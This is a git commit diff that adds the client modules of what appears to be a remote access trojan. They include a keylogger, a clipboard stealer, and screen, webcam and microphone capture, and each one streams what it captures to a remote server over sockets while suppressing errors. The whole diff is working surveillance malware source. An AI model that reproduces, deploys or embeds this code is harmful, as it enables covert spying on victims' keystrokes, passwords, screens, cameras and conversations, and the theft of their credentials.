diff options
| author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 | 
|---|---|---|
| committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 | 
| commit | 58ebd3bc0f00c532e97e9a5571471ffab87934ba (patch) | |
| tree | 6e099e59af07206df6edf2b0c585d0c5a466d4bd /client/modules | |
Diffstat (limited to 'client/modules')
| -rw-r--r-- | client/modules/audio.py | 54 | ||||
| -rw-r--r-- | client/modules/clipper.py | 60 | ||||
| -rw-r--r-- | client/modules/desktop.py | 70 | ||||
| -rw-r--r-- | client/modules/keylogger.py | 85 | ||||
| -rw-r--r-- | client/modules/module.py | 20 | ||||
| -rw-r--r-- | client/modules/webcam.py | 81 | 
6 files changed, 370 insertions, 0 deletions
| diff --git a/client/modules/audio.py b/client/modules/audio.py new file mode 100644 index 0000000..db37a6e --- /dev/null +++ b/client/modules/audio.py @@ -0,0 +1,54 @@ +''' +    Creates a connection to the server, sending a stream +    of audio data using the specified channels & rate. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +    * Third Party Modules +        * pyaudio +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyaudio +import socket + + +class Audio(Module): + +    def __init__(self, token): +        super().__init__(token) +        self.__audio = pyaudio.PyAudio() + +    @Error.quiet_thread +    def __send(self, channels, rate): +        try: +            stream = self.__audio.open(format=pyaudio.paInt16, +                                       channels=channels, rate=rate, +                                       frames_per_buffer=Data.BUFFER_SIZE, +                                       input=True) + +            try: +                with socket.create_connection( +                        (Static.IP, Static.PORT)) as sock: +                    Data.send(sock, self.token) +                    Data.recv(sock) + +                    while True: +                        Data.send(sock, stream.read( +                            Data.BUFFER_SIZE), False) +                        Data.recv(sock) +            finally: +                stream.stop_stream() +                stream.close() +        finally: +            self.__audio.terminate() + +    def live(self, channels, rate): +        Helper.thread(self.__send, channels, rate) diff --git a/client/modules/clipper.py b/client/modules/clipper.py new file mode 100644 index 0000000..ede15de --- /dev/null +++ b/client/modules/clipper.py @@ -0,0 +1,60 @@ +''' +    Creates a connection to the server, sending the +    clipboard data in intervals as long as its not +    the same data as before. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +    * Third Party Modules +        * pyperclip +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyperclip +import socket +import time + + +class Clipper(Module): + +    __INTERVAL = Static.LIVE_TIMEOUT / 2 + +    def __init__(self, token): +        super().__init__(token) +        self.__first = True +        self.__before = '' + +    @Error.quiet_thread +    def __send(self): +        with socket.create_connection( +                (Static.IP, Static.PORT)) as sock: +            Data.send(sock, self.token) +            Data.recv(sock) + +            while True: +                paste = data = pyperclip.paste() + +                if paste == self.__before: +                    data = '' +                else: +                    if self.__first: +                        self.__first = False +                        data = f'{Helper.timestamp()}:{paste}' +                    else: +                        data = f'\n{Helper.timestamp()}:{paste}' + +                Data.send(sock, data) +                Data.recv(sock) + +                self.__before = paste +                time.sleep(Clipper.__INTERVAL) + +    def live(self): +        Helper.thread(self.__send) diff --git a/client/modules/desktop.py b/client/modules/desktop.py new file mode 100644 index 0000000..bb38e1a --- /dev/null +++ b/client/modules/desktop.py @@ -0,0 +1,70 @@ +''' +    Creates a connection to the server, sending a stream +    of screenshots from the specified monitor. Splitting +    up the work in to two threads, one for taking the +    screenshot, the other to send it. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +    * Third Party Modules +        * mss +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + +if Static.WINDOWS: +    import ctypes + +    # NOTE : Sets monitor DPI (zoom) to 100%, +    # laptops usually have their DPI set to 125%, +    # by default which this line will fix +    Error.quiet( +        ctypes.windll.user32.SetProcessDPIAware)() + + +class Desktop(Module): + +    __MAX_SIZE = 1 + +    def __init__(self, token): +        super().__init__(token) +        self.__queue = queue.Queue(Desktop.__MAX_SIZE) + +    @Error.quiet_thread +    def __grab(self, monitor): +        with mss.mss() as sct: +            size = sct.monitors[monitor] + +            while True: +                screenshot = sct.grab(size) +                screenshot = mss.tools.to_png(screenshot.rgb, +                                              screenshot.size) +                self.__queue.put(screenshot, +                                 timeout=Static.LIVE_TIMEOUT) + +    @Error.quiet_thread +    def __send(self): +        with socket.create_connection( +                (Static.IP, Static.PORT)) as sock: +            Data.send(sock, self.token) +            Data.recv(sock) + +            while True: +                Data.send(sock, self.__queue.get( +                          timeout=Static.LIVE_TIMEOUT), False) +                Data.recv(sock) + +    def live(self, monitor): +        Helper.thread(self.__send) +        Helper.thread(self.__grab, monitor) diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py new file mode 100644 index 0000000..9911db5 --- /dev/null +++ b/client/modules/keylogger.py @@ -0,0 +1,85 @@ +''' +    Creates a connection to the server, sending the +    keystrokes pressed, with attached timestamps in +    intervals. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +    * Third Party Modules +        * pynput +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import socket +import pynput +import time +import re + + +class Keylogger(Module): + +    __INTERVAL = Static.LIVE_TIMEOUT / 2 + +    def __init__(self, token): +        super().__init__(token) +        self.__listener = pynput.keyboard.Listener( +            on_press=self.__press) +        self.__listener.start() +        self.__first = True +        self.__keys = '' + +    def __press(self, key): +        key = str(key) + +        if key == 'Key.enter': +            key = f'\n{Helper.timestamp()}:' +        else: +            if key == 'Key.space': +                key = ' ' +            elif key.startswith('Key.'): +                key = key[4:] +            else: +                if re.search(r'^\[.*]$', key): +                    key = key[1:-1] + +                if re.search('^\'.*\'$', key): +                    key = key[1:-1] +                elif re.search('^".*"$', key): +                    key = key[1:-1] +                elif re.search('^<.*>$', key): +                    key = key[1:-1] + +            if len(key) > 1: +                key = f'[{key.upper()}]' + +        if self.__first: +            self.__first = False +            key = f'{Helper.timestamp()}:{key}' + +        self.__keys += key + +    @Error.quiet_thread +    def __send(self): +        try: +            with socket.create_connection( +                    (Static.IP, Static.PORT)) as sock: +                Data.send(sock, self.token) +                Data.recv(sock) + +                while True: +                    keys, self.__keys = self.__keys, '' +                    Data.send(sock, keys) +                    Data.recv(sock) +                    time.sleep(Keylogger.__INTERVAL) +        finally: +            self.__listener.stop() + +    def live(self): +        Helper.thread(self.__send) diff --git a/client/modules/module.py b/client/modules/module.py new file mode 100644 index 0000000..14c6fea --- /dev/null +++ b/client/modules/module.py @@ -0,0 +1,20 @@ +''' +    A class used by all modules, for the simple +    reason that every module requires a token. +    it's easily extensible for future reference. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +''' + + +class Module: + +    def __init__(self, token): +        self.__token = token + +    @property +    def token(self): +        return self.__token diff --git a/client/modules/webcam.py b/client/modules/webcam.py new file mode 100644 index 0000000..ddda802 --- /dev/null +++ b/client/modules/webcam.py @@ -0,0 +1,81 @@ +''' +    Creates a connection to the server, sending a stream +    of snapshots from the specified monitor. Splitting +    up the work in to two threads, one for taking the +    snapshot, the other to send it. + +    Verified: 2021 February 6 +    * Follows PEP8 +    * Tested Platforms +        * Windows 10 +    * Third Party Modules +        * mss +''' + +from client.modules.module import Module +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + + +class Capture: + +    def __init__(self, device): +        self.__device = device +        self.__alive = True + +    @property +    def device(self): +        return self.__device + +    @property +    def alive(self): +        return self.__alive + +    def kill(self): +        self.__alive = False + + +class Webcam(Module): + +    __MAX_SIZE = 1 + +    def __init__(self, token): +        super().__init__(token) +        self.__queue = queue.Queue(Webcam.__MAX_SIZE) +        self.__device = ClientStatic.WEBCAM[token] + +    @Error.quiet +    def __del__(self): +        self.__device.kill() + +    @Error.quiet_thread +    def __grab(self): +        while True: +            buffer, width, height = self.__device.device.getbuffer() +            snapshot = mss.tools.to_png(buffer, (width, height)) +            self.__queue.put(snapshot, +                             timeout=Static.LIVE_TIMEOUT) + +    @Error.quiet_thread +    def __send(self): +        with socket.create_connection( +                (Static.IP, Static.PORT)) as sock: +            Data.send(sock, self.token) +            Data.recv(sock) + +            while True: +                Data.send(sock, self.__queue.get( +                    timeout=Static.LIVE_TIMEOUT), False) +                Data.recv(sock) + +    def live(self): +        Helper.thread(self.__send) +        Helper.thread(self.__grab) | 
